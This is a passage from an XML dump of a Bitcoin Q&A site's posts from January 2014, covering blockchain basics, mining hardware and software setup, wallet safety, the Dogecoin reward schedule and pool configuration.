LastEditDate="2014-01-07T12:18:38.417" LastActivityDate="2014-01-07T12:18:38.417" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="19848" PostTypeId="1" AcceptedAnswerId="19849" CreationDate="2014-01-05T01:53:10.853" Score="0" ViewCount="384" Body="&lt;p&gt;I've been &lt;a href=&quot;https://bitcoin.stackexchange.com/a/19822/5107&quot;&gt;shown how network time is enforced&lt;/a&gt;, but I'm still having trouble understanding how a false old block cannot be inserted into the blockchain with the entire chain remined or how a powerful miner cannot remine the entire chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does difficulty prevent this because it would take so long to remine the entire chain, or is there another way that &quot;old blocks&quot; are forbidden?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How are new blocks distinguished from old blocks or new transactions distinguished from old ones?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If blocks older than 2 hours are rejected, how are old blocks never rejected?&lt;/p&gt;&#xA;" OwnerDisplayName="user5107" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2014-01-05T01:59:06.190" Title="Can an old block be inserted into the blockchain?" Tags="|blockchain|hash|timestamp|merkle-tree|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19849" PostTypeId="2" ParentId="19848" CreationDate="2014-01-05T01:59:06.190" Score="1" Body="&lt;p&gt;Every block refers to a specific parent, resulting in all blocks together forming a tree structure. Typically it's just a single very long branch, with very occasional short side branches (1 to 2 blocks long).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You cannot &quot;insert&quot; a block into the block chain, as no block refers to it as parent. &lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-01-05T01:59:06.190" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="19850" PostTypeId="2" ParentId="19846" CreationDate="2014-01-05T03:04:32.947" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;A bitcoin node is a user which is connected to the network through a client. This node can perform transactions, try to build a block inside a mining pool, or just exist in the network. Are there any further actions for a node?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Nodes also relay blocks and transactions to other nodes. They also validate incoming blocks and transactions and keep track of the current, longest valid blockchain. That's pretty much it.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If a node exists inside the network how can he verify the transactions?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There are a set of mathematical rules that determine if transactions are valid. The nodes check the transactions against those rules. If they meet the rules, they are valid.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Furthermore is there a paper or something that explains things in a lower level of how exactly the system works in case of transactions and mining? I do not want a description but something more technical.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Almost every question you can think of is answered, in technical detail, somewhere in the &lt;a href=&quot;https://en.bitcoin.it/wiki/Main_Page&quot; rel=&quot;nofollow&quot;&gt;Bitcoin wiki&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-01-05T03:04:32.947" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19852" PostTypeId="2" ParentId="19844" CreationDate="2014-01-05T03:15:02.377" Score="1" Body="&lt;p&gt;&quot;24h power cost&quot; is how much the power your miner uses in 24 hours costs you. &quot;Less power costs&quot; is the value of the coins mined minus the cost of the power to mine them.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-01-05T03:15:02.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19854" PostTypeId="1" CreationDate="2014-01-05T04:30:53.143" Score="1" ViewCount="3366" Body="&lt;p&gt;I use CGMiner(unless there's a better one) on an AMD Radeon HD 8570D. it gets 22-23kh/s but most times I see people mentioning their graphics producing multiple megahashes. do I just have the wrong configuration or do I have to buy something more powerful(and expensive)&lt;/p&gt;&#xA;" OwnerUserId="6838" LastActivityDate="2014-01-29T00:46:31.913" Title="can I improve LTC mining on this GPU?" Tags="|litecoin|cgminer|hashpower|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19857" PostTypeId="2" ParentId="4486" CreationDate="2014-01-05T06:17:44.010" Score="2" Body="&lt;p&gt;This is for sending transactions directly to Eligius: &lt;a href=&quot;http://eligius.st/~wizkid057/newstats/pushtxn.php&quot; rel=&quot;nofollow&quot;&gt;http://eligius.st/~wizkid057/newstats/pushtxn.php&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9415" LastEditorUserId="1307" LastEditDate="2014-01-05T12:39:15.187" LastActivityDate="2014-01-05T12:39:15.187" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19858" PostTypeId="1" CreationDate="2014-01-05T06:44:31.107" Score="2" ViewCount="1782" Body="&lt;p&gt;I'm looking for last price data from huobi.com.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know where I can get data from an API for them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Huobi is the largest Bitcoin exchange in China and I'm looking to add them to &lt;a href=&quot;http://tradeli.st&quot; rel=&quot;nofollow&quot;&gt;http://tradeli.st&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2591" LastActivityDate="2014-04-04T16:44:26.957" Title="looking for api for huobi.com for last price data" Tags="|api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19860" PostTypeId="1" CreationDate="2014-01-05T08:00:54.747" Score="2" ViewCount="4110" Body="&lt;p&gt;I have two AMD Radeon 7770's in my rig. I am able to get the command prompt of &lt;code&gt;BFGMiner&lt;/code&gt; to run fine up, to the point where I need to add my devices (GPU's). I am not sure what commands to use or where I can find the instructions I need. Any advice would be helpful. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="11791" LastEditorUserId="5406" LastEditDate="2016-06-06T09:38:16.243" LastActivityDate="2023-12-12T00:02:50.367" Title="Setting up my BFGMiner with two AMD GPU's" Tags="|miner-configuration|gpu|bfgminer|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19861" PostTypeId="1" CreationDate="2014-01-05T09:15:00.773" Score="9" ViewCount="34949" Body="&lt;p&gt;The reason i asked this question, because i just discover bitcoin a day back. And i found out that there are 3 type of wallet, which is in web like coinbase, our own computer like multibit, and mobile wallet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seems like those 3 have flaw. I just imagine, if my computer got crashed or the website closed; will that mean i lost all the entire bitcoin. Is there any other method to keep bitcoin in the safest place on earth?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry if this sound too noob. Thanks for answering. &lt;/p&gt;&#xA;" OwnerUserId="11793" LastActivityDate="2017-08-25T13:03:18.997" Title="What is the safest bitcoin wallet?" Tags="|wallet|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19863" PostTypeId="1" CreationDate="2014-01-05T11:00:08.430" Score="-2" ViewCount="173" Body="&lt;p&gt;Would &lt;em&gt;&lt;a href=&quot;http://www.ebay.co.uk/itm/10-Port-Mini-USB-HUB-High-Speed-2-0-with-Power-Adapter-Black-198-UK-/360566754350?pt=UK_Computing_USB_Cables&amp;amp;hash=item53f3740c2e&quot; rel=&quot;nofollow&quot;&gt;10 Port Mini USB HUB High Speed 2.0 with Power Adapter Black #198 UK&lt;/a&gt;&lt;/em&gt; (on &lt;a href=&quot;http://en.wikipedia.org/wiki/EBay&quot; rel=&quot;nofollow&quot;&gt;eBay&lt;/a&gt;) be suitable for Bitcoin mining?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a new PC, so I don't want to damage the motherboard by using the USB ports constantly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this isn't suitable, why and what should I be looking for?&lt;/p&gt;&#xA;" OwnerUserId="11794" LastEditorUserId="1405" LastEditDate="2014-01-05T19:20:06.503" LastActivityDate="2014-05-05T23:49:35.293" Title="Would this be suitable for Bitcoin mining?" Tags="|asic|" AnswerCount="2" CommentCount="3" ClosedDate="2014-05-10T14:54:42.887" ContentLicense="CC BY-SA 3.0" />
  <row Id="19864" PostTypeId="2" ParentId="19861" CreationDate="2014-01-05T12:25:09.153" Score="4" Body="&lt;p&gt;Install Electrum or Armory on an offline computer, create a deterministic wallet, print a paper backup, make a watch-only copy of your wallet &amp;amp; load it to a usb harddrive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;install the same wallet software on an online computer, load the watch-only copy to this software. You're almost entirely safe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Store your paper backup in a different physical location than the offline computer. Make sure it's safe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Encrypt the hard disk of your offline computer, never connect it to internet and use strong passwords for users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Not the simplest of setups but this is the safest option at the moment as far as i know.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="2995" LastEditorUserId="2995" LastEditDate="2017-08-24T16:21:58.547" LastActivityDate="2017-08-24T16:21:58.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19865" PostTypeId="2" ParentId="19861" CreationDate="2014-01-05T12:31:18.907" Score="2" Body="&lt;p&gt;The true safest place to &lt;strong&gt;hold&lt;/strong&gt; bitcoins is a &lt;a href=&quot;https://en.bitcoin.it/wiki/Paper_wallet&quot; rel=&quot;nofollow&quot;&gt;paper wallet&lt;/a&gt;. However, they are not very convenient for spending the coins in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On your concern about computer and online wallets &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I just imagine, if my computer got crashed or the website closed; will that mean i lost all the entire bitcoin.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There are plenty of wallets that allow you to make a &lt;em&gt;paper backup&lt;/em&gt; of the wallet. I know &lt;a href=&quot;http://bitcoinarmory.com&quot; rel=&quot;nofollow&quot;&gt;Armory&lt;/a&gt; does this very well, but undoubtedly there are plenty of others out there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most wallets, local or shared, allow you to set an encryption key so that your private keys are stored safely. Those wallets will ask you to enter the key when you want to make a transaction. Examples of wallets implementing this are the &lt;a href=&quot;http://bitcoin.org/en/download&quot; rel=&quot;nofollow&quot;&gt;original Bitcoin-Qt client&lt;/a&gt; (when you enable encryption), &lt;a href=&quot;http://bitcoinarmory.com&quot; rel=&quot;nofollow&quot;&gt;Armory&lt;/a&gt; but also shared wallet &lt;a href=&quot;https://blockchain.info/wallet&quot; rel=&quot;nofollow&quot;&gt;Blockchain's My Wallet&lt;/a&gt; (when a second password is enabled).&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2014-01-05T12:31:18.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19867" PostTypeId="1" AcceptedAnswerId="19870" CreationDate="2014-01-05T14:01:45.703" Score="7" ViewCount="23794" Body="&lt;p&gt;According to Dogecoin's &lt;a href=&quot;https://bitcointalk.org/index.php?topic=361813.0&quot; rel=&quot;noreferrer&quot;&gt;bitcointalk-thread&lt;/a&gt; there will be a maximum of 100 billion dogecoins. Yet, just below that figure is stated that the reward schedule offers a reward of &lt;em&gt;up to&lt;/em&gt; 1 million dogecoins for each of the first 100k block, which would amount to 100,000,000,000 doges already rewarded for the first 100,000 blocks. The subsequent next 500k blocks would up the total doges to just shy of 170 billion dogecoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also states that there will be a constant reward of 10k doges starting with block 600,001.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This information is inconsistent and I am wondering, how the reward schedule is actually implemented:&#xA;Is there a maximum of dogecoins or will the amount continue to grow infinitely as suggested by the constant reward?&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-03-25T22:49:05.027" LastActivityDate="2021-05-04T22:21:15.367" Title="Reward schedule and maximum number of dogecoins?" Tags="|dogecoin|reward-schedule|" AnswerCount="3" CommentCount="0" ClosedDate="2020-10-23T17:30:34.557" ContentLicense="CC BY-SA 3.0" />
  <row Id="19868" PostTypeId="2" ParentId="19717" CreationDate="2014-01-05T14:10:08.450" Score="5" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;How long it takes to mine them all?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;DogeCoin has a block time target of one block per minute. According to its &lt;a href=&quot;https://bitcointalk.org/index.php?topic=361813.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;bitcointalk thread&lt;/a&gt; it follows a block reward schedule where the first 100,000 blocks get a random reward between 0 and 1,000,000 dogeCoins and every subsequent 100,000 blocks halves the of the previous reward's maximum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Beginning with the 600,001st block, the reward will be a constant 10,000 dogeCoins per Block until the maximum of 100 billion dogeCoins is found. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since there is a random process underlying, it is not possible to accurately predict which block will provide the last scheduled block reward until the first 600,000 blocks have been mined, however, the first 600,000 blocks should produce an estimated ~98.44 billion dogecoins, so there would be about 156k blocks with a 10,000 doge reward.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At 1 minute per block, 756k blocks would take 525 days, or &lt;strong&gt;just shy of 1.5 years&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is this measure accurate?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes. According to &lt;a href=&quot;http://dogechain.info/chain/Dogecoin/statistics&quot; rel=&quot;nofollow noreferrer&quot;&gt;dogechain.info&lt;/a&gt; also, 21.45 billion dogecoins (21.45%) have been mined. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When all dogecoins have been mined, how can transactions happen?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In short: Mining rewards are composed of both the block reward and transaction fees. The transaction fees will remain, and should suffice to reimburse the miners to continue just as before.&#xA;Please refer to &lt;a href=&quot;https://bitcoin.stackexchange.com/a/9781/5406&quot;&gt;Will the proof of work system end when all bitcoins have been mined?&lt;/a&gt; for a more comprehensive answer.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Update: Flat 10k reward forever&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;On &lt;a href=&quot;https://bitcointalk.org/index.php?topic=361813.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;February 1st, 2014 the Dogecoin developers announced&lt;/a&gt; that Dogecoin would not be capped at 100 billion dogecoins after all, but would continue to have a flat 10k dogecoin reward for each block after Block 600,000.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2014-02-25T11:35:05.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19869" PostTypeId="2" ParentId="14079" CreationDate="2014-01-05T14:26:12.430" Score="2" Body="&lt;p&gt;Bitcoin is generating using your hardware, thus if you have 1 worker on a 5 GHS piece of hardware, then your single worker runs at 5 GHS. If you add yet another worker , your'e complicating the issue for no real good reason. The two workers have to share the 5 GHS resources and each worker will perform at Approximately 2.5 GHS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you add 100 workers then none of your workers will perform properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would recommend using one worker per hardware unit. &lt;/p&gt;&#xA;" OwnerUserId="11796" LastActivityDate="2014-01-05T14:26:12.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19870" PostTypeId="2" ParentId="19867" CreationDate="2014-01-05T14:36:57.153" Score="5" Body="&lt;h2&gt;The Dogecoin reward schedule&lt;/h2&gt;&#xA;&lt;p&gt;I subsequently found the information that the Dogecoin reward schedule provides &lt;strong&gt;random amounts&lt;/strong&gt; sized between 0 and a halving maximum for the first 600,000 blocks:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Block 1 — 100,000: 0-1,000,000 dogecoins&lt;/li&gt;&#xA;&lt;li&gt;Block 100,001 — 200,000: 0-500,000 dogecoins&lt;/li&gt;&#xA;&lt;li&gt;Block 200,001 — 300,000: 0-250,000 dogecoins&lt;/li&gt;&#xA;&lt;li&gt;Block 300,001 — 400,000: 0-125,000 dogecoins&lt;/li&gt;&#xA;&lt;li&gt;Block 400,001 — 500,000: 0-62,500 dogecoins&lt;/li&gt;&#xA;&lt;li&gt;Block 500,001 — 600,000: 0-31,250 dogecoins&lt;/li&gt;&#xA;&lt;li&gt;Block 600,001+: 10,000 dogecoins&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;The random reward amounts are dependent on the hash of the previous block. (H/T @JesseBusman)&lt;/p&gt;&#xA;&lt;h2&gt;How much?&lt;/h2&gt;&#xA;&lt;p&gt;At optimal random distribution, the first reward interval would provide 50 billion dogecoins. Altogether, the first 600,000 blocks would provide an estimated ~98.44 billion dogecoins, leaving another expected 156,250 blocks to be mined with the subsequent constant block reward of 10,000 doges per block.&lt;/p&gt;&#xA;&lt;h2&gt;How long?&lt;/h2&gt;&#xA;&lt;p&gt;As the block time is aimed to be 60 seconds, the reward is expected to halve every 69 days, 10 hours and forty minutes. At optimal block time, the last block with a reward would be expected after &lt;strong&gt;525 days&lt;/strong&gt;, or one year and 160 days.&lt;/p&gt;&#xA;&lt;h2&gt;Update: Flat 10k reward forever&lt;/h2&gt;&#xA;&lt;p&gt;On &lt;a href=&quot;https://github.com/dogecoin/dogecoin/issues/23#issuecomment-33893149&quot; rel=&quot;nofollow noreferrer&quot;&gt;February 1st, 2014 the Dogecoin developers announced&lt;/a&gt; that Dogecoin would not be capped at 100 billion dogecoins after all, but would continue to have a flat 10k dogecoin reward for each block after Block 600,000.&lt;/p&gt;&#xA;&lt;p&gt;While not hard-capped, a constant tail emission is predictable and disinflationary:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/0VIo6.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0VIo6.png&quot; alt=&quot;Table with Dogecoin supply growth projection&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2021-05-04T22:21:15.367" LastActivityDate="2021-05-04T22:21:15.367" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19871" PostTypeId="2" ParentId="19863" CreationDate="2014-01-05T15:06:39.553" Score="1" Body="&lt;p&gt;Been running 3 ASIC miners on a USB hub (similar to the reference above) 24/7 and for a few months now.  No appreciable change on equipment.  Also, buy a USB fan to cool the equipment.  This is the fan I'm using and its working fine.  &lt;a href=&quot;http://www.ebay.co.uk/itm/Arctic-Cooling-Arctic-Breeze-Portable-Mobile-USB-Fan-/390681051134?pt=LH_DefaultDomain_0&amp;amp;hash=item5af667bffe&quot; rel=&quot;nofollow&quot;&gt;USB fan&lt;/a&gt;&#xA;Good Luck!&lt;/p&gt;&#xA;" OwnerUserId="9316" LastActivityDate="2014-01-05T15:06:39.553" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19872" PostTypeId="2" ParentId="11152" CreationDate="2014-01-05T15:15:30.307" Score="0" Body="&lt;p&gt;StorJ itself was not advanced beyond the concept stage. There has been some attempts are implementing it (&lt;a href=&quot;https://bitcointalk.org/index.php?topic=305476.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=305476.0&lt;/a&gt;) but I'm not aware of anything concrete as of Jan 2014. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, people like Mike Hearm (&lt;a href=&quot;https://www.youtube.com/watch?v=Pu4PAMFPo5Y&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=Pu4PAMFPo5Y&lt;/a&gt;) and Jeff Garzik (&lt;a href=&quot;http://garzikrants.blogspot.co.uk/2013/01/storj-and-bitcoin-autonomous-agents.html&quot; rel=&quot;nofollow&quot;&gt;http://garzikrants.blogspot.co.uk/2013/01/storj-and-bitcoin-autonomous-agents.html&lt;/a&gt;) have kept the discussion going.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Agents are now part of the official bitcoin wiki: &lt;a href=&quot;https://en.bitcoin.it/wiki/Agents&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Agents&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As to why StorJ never saw the light of day, I think the practical implications of implementing an autonomous AI require technological developments going far beyond a distributed ledger and payment system. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, the online storage space is highly competitive, and services like Mega provide 'sufficiently good' service for 0 dollar. An AI could indeed be autonomous enough to efficiently lower its costs of operation assuming sufficiently developed 3rd party APIs, but for it to change its business model to freemium without human intervention is too much of a stretch as of 2014.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All is not lost. The recent concept of DAC seem to have taken the relay. See &lt;a href=&quot;https://bitsharestalk.org/index.php?PHPSESSID=f976bd25b056584eaab72a0f973d3a5f&amp;amp;board=9.0&quot; rel=&quot;nofollow&quot;&gt;https://bitsharestalk.org/index.php?PHPSESSID=f976bd25b056584eaab72a0f973d3a5f&amp;amp;board=9.0&lt;/a&gt; for a list of what people are currently conceptualising. &lt;/p&gt;&#xA;" OwnerUserId="3547" LastActivityDate="2014-01-05T15:15:30.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19874" PostTypeId="2" ParentId="19854" CreationDate="2014-01-05T16:05:23.640" Score="0" Body="&lt;p&gt;There is a single Radeon 8570 listed at &lt;strong&gt;86 kh/s&lt;/strong&gt; in this &lt;a href=&quot;https://litecoin.info/Mining_hardware_comparison&quot; rel=&quot;nofollow&quot;&gt;litecoin mining comparison wiki&lt;/a&gt;. Something is most likely wrong with your cgminer settings OR your gpu/mem clock speed ratio.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try other settings in cgminer first. When you find something optimal, try downclocking your GPU in 5 MHz increments until you find the best hashing speed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, don't forget litecoins use the Scrypt hashing algorithm while Bitcoins use the SHA256 algorithm. A decent GPU will net you arround 500-700 &lt;strong&gt;KH&lt;/strong&gt;/s while mining Scrypt cryptocurrencies, but 500-700 &lt;strong&gt;MH&lt;/strong&gt;/s while mining SHA256 currencies.&lt;/p&gt;&#xA;" OwnerUserId="11798" LastActivityDate="2014-01-05T16:05:23.640" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19875" PostTypeId="2" ParentId="19863" CreationDate="2014-01-05T16:54:15.153" Score="1" Body="&lt;p&gt;There is no connection between using a USB port, powered or not, and your miner getting hot. Your miner gets hot because it is doing work, see below. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;USB powered hubs have the capability to supply a limited amount of power if the device needs it. Devices that have their own power source rarely use power from the hub.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Work requires energy. The way energy works is that all the electricity used by the miner is turned into heat, one way or another. All work also generates heat. Even you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW, what miner are you using?&lt;/p&gt;&#xA;" OwnerUserId="10577" LastEditorUserId="10577" LastEditDate="2014-01-05T17:41:30.260" LastActivityDate="2014-01-05T17:41:30.260" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19876" PostTypeId="1" CreationDate="2014-01-05T16:55:26.570" Score="0" ViewCount="3994" Body="&lt;p&gt;Back when I signed up with bitcoin and received 2 bitcoins, I haven't done anything with my account/wallet since 2010 is there a way for me to access my bitcoins or have they been lost, I still have the same email address, thanks &lt;/p&gt;&#xA;" OwnerUserId="11801" LastActivityDate="2014-01-05T17:25:52.983" Title="signed up in 2010-now trying to access" Tags="|bitcoin-core-accounts|" AnswerCount="1" CommentCount="1" ClosedDate="2014-01-06T21:44:00.337" ContentLicense="CC BY-SA 3.0" />
  <row Id="19877" PostTypeId="2" ParentId="19876" CreationDate="2014-01-05T17:25:52.983" Score="1" Body="&lt;p&gt;IF you still have your wallet:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;This means you still have your private key&lt;/li&gt;&#xA;&lt;li&gt;This also means you have your public key (you call it the same email address i assume)&lt;/li&gt;&#xA;&lt;li&gt;syncronize the blockchain on your bitcoin client in case of using bitcoin-qt. This will take some time (+-2 days)&lt;/li&gt;&#xA;&lt;li&gt;Copy your public key and go to &lt;a href=&quot;https://blockchain.info/&quot; rel=&quot;nofollow&quot;&gt;blockchain website&lt;/a&gt; and past you key in the search bar. This will show you if the bitcoins still exist. &lt;/li&gt;&#xA;&lt;li&gt;In case they still exist on the blockchain then once the blockchain has been syncronized and completed it will also appear in your wallet.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you lost your wallet and you never wrote your private and public key down then they are lost for ever! &lt;/p&gt;&#xA;" OwnerUserId="9591" LastActivityDate="2014-01-05T17:25:52.983" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19878" PostTypeId="2" ParentId="19861" CreationDate="2014-01-05T17:29:20.937" Score="5" Body="&lt;p&gt;The answer from Anton A. is pretty good; I'm adding this as additional information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Offline wallets are stored on a computer that never connects to the network so they can only be hacked by being physically present. Additional security can be added by encrypting the Bitcoin wallet or the computer as a whole (be aware on the later that the encrypted computer is only secure once it has been completely shut down for several minutes).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way it works with Armory is that you have an online copy with the public key where you can see your balance. To create a transaction you do it on the online wallet, copy it to a USB stick, connect it to the offline computer and sign it there, then once you load the signed transaction on the online wallet it gets sent to the Bitcoin network for inclusion in blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The paper backup is needed to recover your Bitcoin in case you lose your offline wallet or password (failure, fire, etc.). I recommend storing it in a bank safe if it holds any substantial value.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Another type of wallet that provides a new, handier way of storing Bitcoin safely is called a Hardware wallet. Hardware wallets are a small piece of hardware which store your private key securely and only allow signing transaction, in some case with an address confirmation display and PIN. Just like offline wallets, hardware wallets allow you to save a paper copy of your key in case you lose or break the device.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These devices are safe to use even on a compromised computer provided that you can verify the transaction output addresses before letting the device sign it, and a PIN may protect the device from theft. There are multiple different implementations with varying levels of security. Some of these wallets have additional features such as providing 2-factor authentication.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Offline wallets are probably still the best way to store large amounts securely, accompanied with either a mobile or hardware wallet for day-to-day Bitcoin transactions.&lt;/p&gt;&#xA;" OwnerUserId="11802" LastEditorUserId="11802" LastEditDate="2017-08-17T06:04:27.360" LastActivityDate="2017-08-17T06:04:27.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19879" PostTypeId="1" AcceptedAnswerId="19902" CreationDate="2014-01-05T17:34:48.840" Score="1" ViewCount="5694" Body="&lt;p&gt;In the last few hours I am getting 100% connection rejections from Eligius. I am using a Mac and the Asteroid miner GUI. I also have MacMiner setup. both are not failing after about a month of successfully working.  But that is not the point of the question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is trying to understand the pool URL, here is what Eligius provides:&lt;br&gt;&#xA;Stratum Host: stratum.mining.eligius.st Port: 3334 | Getwork Host: getwork.mining.eligius.st Port: 8337 GBT Host: gbt.mining.eligius.st Port: 9337&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been using &quot;&lt;a href=&quot;http://gbt.mining.eligius.st:9337&quot; rel=&quot;nofollow&quot;&gt;http://gbt.mining.eligius.st:9337&lt;/a&gt;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question 1: Why is the scheme missing, that is &quot;http://&quot;, etc. It needs to be entered as part of the pool URL, what if any scheme should be entered?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also is there some reason the scheme is not provided? Or it just a lazy web developer? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question 2:&lt;br&gt;&#xA;Please direct me to some information about the host types: Stratum, Getwork and GBT.&lt;/p&gt;&#xA;" OwnerUserId="10577" LastEditorUserId="10577" LastEditDate="2014-01-05T20:41:08.543" LastActivityDate="2014-01-05T21:15:44.720" Title="Setting up a miner with Eligius" Tags="|mining-pools|eligius|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
